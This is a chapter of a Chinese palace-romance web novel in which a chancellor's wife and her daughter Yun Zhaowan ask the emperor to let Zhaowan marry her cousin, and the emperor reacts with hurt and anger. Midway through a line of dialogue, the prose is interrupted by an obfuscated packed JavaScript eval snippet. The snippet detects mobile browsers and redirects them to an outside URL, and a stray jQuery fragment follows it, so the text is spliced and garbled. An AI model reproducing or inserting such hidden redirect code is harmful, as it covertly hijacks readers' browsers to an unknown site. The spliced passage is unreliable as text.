赵临湘脸上露出温和的笑容,微微颔首,“杨公公,陛下可在忙?”
眼前这位,可是云相的夫人,陛下好兄弟的母亲,未来皇后之母,无论哪一重身份,都是不得怠慢。
杨承安堆满了笑意,对赵临湘可算毕恭毕敬,“夫人来得巧,陛下刚忙完。咦,云小姐,是不是哪里不舒服?”他瞧着云照晚,像是刚哭过的样子。
赵临湘侧身半步,挡着住杨承安的视线,“没事。还请公公替我禀告一声,我有事求见陛下。”
杨承安半信半疑,招呼宫人伺候,亲自入内禀告。
宣政殿内,玄昭珩听见通传,一时也猜不透赵临湘用意。
“请进来吧。”
赵临湘端着身子跨进门槛,面对玄昭珩,想起三年前让云照晚下江南的事情,心中不由忐忑,“臣妇拜见陛下。”
“夫人不必多礼。”对于赵临湘,玄昭珩难得放下架子,“夫人此方特地进宫,找朕所为何事?”
赵临湘依旧恭敬,声音坚定,“臣妇今有一事,请陛下应允。臣妇与相爷膝下仅剩一女照晚,视若珍宝。先儿照松生前最疼爱的便是这个妹妹,临终前念念不忘的,也是盼她一生平安喜乐。臣妇斗胆,想为小女求一桩婚事。娘家外甥与小女两情相悦,家世相当。两家父母皆已应允,只求陛下一道赐婚的恩旨。”
宣政殿内一片寂静。
杨承安猛地抬头,不曾见过如此勇猛的妇人。
国法之中,参加采选的女子落选后,可自行婚配。但采选结束之前,不得擅自婚配。否则,视为大不敬之罪。
而赵临湘,竟敢在陛下面前放肆宣明。这是仗着陛下对云家多年扶持的恩宠?还是陛下对云照松死去的安抚?
玄昭珩温和的脸色变得冷寂,御案下的拳头攥紧。若非眼前人是云照晚的生母,他定不会容忍至此。
当着他的面,竟敢拿云照松的死做幌子,迫使他同意云照晚和赵家子的婚事。
等三年又三年,大选之际还能出了这样的岔子,真是让人恼火。
玄昭珩似笑非笑,透着一股瘆人的压迫感,“夫人,晚晚是朕采选名单上的人。采选结束之前,晚晚不得与他人谈婚论嫁,这是规矩。至于照松,朕答应过他,会善待云家,包括晚晚。这一点,夫人不必担心。”
赵临湘早知玄昭珩会这么讲,更知理亏。可为了云照晚余生的安稳,她顾不得其他。
“云家为陛下鞠躬尽瘁,还请陛下看在照松殉职的份上、太后娘娘养育的份上、您与照晚从小的情分上,此次采选,饶过照晚。”
一字一言,铿锵有力,字字诛心。
这无疑把玄昭珩架在火上烤,念着云家对他的帮扶,就得成全云照晚和赵家子。如若不然,他就是个忘恩负义的人。
玄昭珩的愤怒达到极点,硬生生把御笔折成两段,眼底闪过一丝杀气,“饶过?夫人言重了。”
他顿了顿,继续说:“夫人所顾忌的,朕可以体谅。看在晚晚和照松面上,今日不追究夫人的冒失无礼。至于晚晚与别人情投意合,要改嫁的事情,让她亲自来找朕!”
话音刚落,杨兴德上前禀告:“陛下,云小姐在殿外求见。”
玄昭珩眉头一皱,心中生出几分慌乱。
方才气势如虹地说让云照晚亲自来,可真到了这一刻,心里却没底了。
他怕,怕再一次被云照晚抛弃。
三年前,赵临湘做主送云照晚下江南,只为避开玄昭珩选太子妃的时候。那年云照晚才十二岁,只能听从母亲的安排。他不曾有过怨言,等了三年,如今刚重逢不久,难道又要历史重演?
“让她进来。”
宫人带路,殿内所有目光望向云照晚。
她迈着沉重的脚步踏进来,眼眶里的血红还未完全消褪,身上那件浅色衣裙,还是玄昭珩赏赐的布料新做的。
玄昭珩心头莫名抽痛,几日不见,她竟如此消瘦。
对上她眼底复杂的情绪,玄昭珩有些害怕,怕她说出什么话来。
“民女云照晚,拜见陛下。”云照晚已在殿外收拾好自己的情绪,声音平静柔和,听不出任何异样。
自她回京以来,除了头一回入宫被他拦下的那次,这是她最规矩的一次行礼。
规矩得让人心慌。
“免礼。”
云照晚垂眸,不敢看玄昭珩的眼睛,一字一句吐出,“母亲方才所言,皆是民女的意思,请陛下成全。”
殿内安静异常,无人敢出声。
玄昭珩心中一凉,手上卸了力气,断成两截的御笔掉落在桌子上,声音清晰可见。
他默默跟自己讲了无数次“冷静”,胸前憋着一口气,让他快喘不上气来。安静了好一会,他才有力气说话,“杨承安,带赵夫人去偏殿休息,朕和云小姐有话说。”
云照晚看了眼赵临湘,让她安心,会处理好的。
赵临湘温和笑着,相信云照晚会办好的。
有眼力见的杨兴德扫视全场,立马将其他宫人带走。
一瞬间,殿内只剩下云照晚和玄昭珩。
玄昭珩快步走到云照晚跟前,轻声软语,双手牵起云照晚,“晚晚,你刚刚所言,不是你的真心话,对不对?是赵夫人让你这么说的,对吧。”
云照晚咬唇,摇摇头。
她不敢开口,怕一开口,所有压抑的情绪都宣泄出来。
玄昭珩眉头紧锁,见她这模样,心沉了又沉。
“晚晚,是因为你大哥,赵夫人担心你,怕你将来夹在朕和云相之间为难,怕朕在后宫委屈你,怕朕因朝堂上的事牵连到你,对不对?朕都知道的,你相信朕,不会让那些事发生的。”
“晚晚,朕不会让这些事情发生的。三年前,你就弃朕而去。现在,你还是不要朕了吗?”
云照晚依旧低头持续沉默。
“晚晚,别不说话。”
玄昭珩越说越急,越说越委屈,越说越没有底气。
云照晚蹙眉隐忍,咽下哽咽,“陛下,我们有缘无分,求您……忘了我。”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341141|199331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音很轻柔,仿佛让人一碰就碎了。
玄昭珩脑袋感觉“轰”的一声。
什么有缘无分?那都是骗人的鬼话!
“不可能。晚晚,我们一同长大,朕能不明白你?你心底有我,怎么会看上别人!怎么会心甘情愿嫁给别人!”玄昭珩说得着急,双手握着云照晚更紧,害怕云照晚离开他。
云照晚扑通一声跪下,眼泪在眼眶中打转,重重低下头,“陛下,我与表兄情投意合,求……”
话未说完,云照晚双肩被一股巨大的力气拽起。
玄昭珩几乎是把她拎起来,红着眼睛质问:“情投意合?你到江南三年,与他相处不过两年时间,这就情投意合了?那你与朕的十二年呢?算什么!”
这是玄昭珩第一次冲着云照晚发火。
话刚说完,他就后悔了。
见云照晚苍白的脸上,玄昭珩懊恼顶腮,压下所有怒火,打量着云照晚脸色,不知道吓到没有?
他小心扶着云照晚的肩膀,语气尽量平稳,“晚晚,你怎么可以这么对朕?在朕面前,你竟然跪下来求朕,求朕给你和别人赐婚?这对朕,是多么残忍,你知道?”
“对不起……”
除了这一句,云照晚不知道还能说什么。
“朕不要‘对不起’,朕只要你。”
玄昭珩也红了眼眶,死死盯着云照晚。
“对不起……”
云照晚又低下了头。
玄昭珩仰头叹了口气,握在云照晚双肩的手缓缓下垂,差点一口气没喘上来。
朝廷上那些老狐狸,再怎么折腾也没让他这般心力交瘁,可云照晚做到了。
一句话就击溃了他多年的沉稳。
眼前的姑娘,说又不能说,骂又不能骂,还舍不得她吃苦受罪。
云照晚的指尖陷进手心,疼痛让她维持表面的平静。
她缓缓抬眼,对上玄昭珩的视线。那双眼睛,藏着太多东西。有年少时的约定,有三年等待的期冀,有濒临崩溃的无措。
她知道,最终是她对不起他了。
“陛下。”她声音很轻、很稳,“大哥不在了,我得在父母跟前尽孝。赵家表哥,性情温和,待我极好。”
玄昭珩嗤笑,嘲讽道:“朕难道不让你尽孝了!”
云照晚面无波澜,没有理会那句嘲讽,继续说:“我与表兄在一起,是平凡自在的日子,父母会护我一生无忧。进了宫,陛下为君,我为臣。前朝后宫牵一发而动全身,陛下有太多的无可奈何。没有人能护我一生,陛下护不了,云家也护不了。我不愿在后宫磋磨自己,不愿与三千嫔妃争宠,不愿自降身份献媚取宠。我想过的,只是普普通通的日子,一生无忧无虑的日子。”
玄昭珩愣在原地,仿佛被一桶冰水浇透。
面对玄昭珩的沉默,云照晚抿了抿嘴唇,“大哥离开的日子,我仔细想过。陛下,我们不太合适。”
不太合适。
四个字,轻飘飘地说出来,却压得人喘不过气。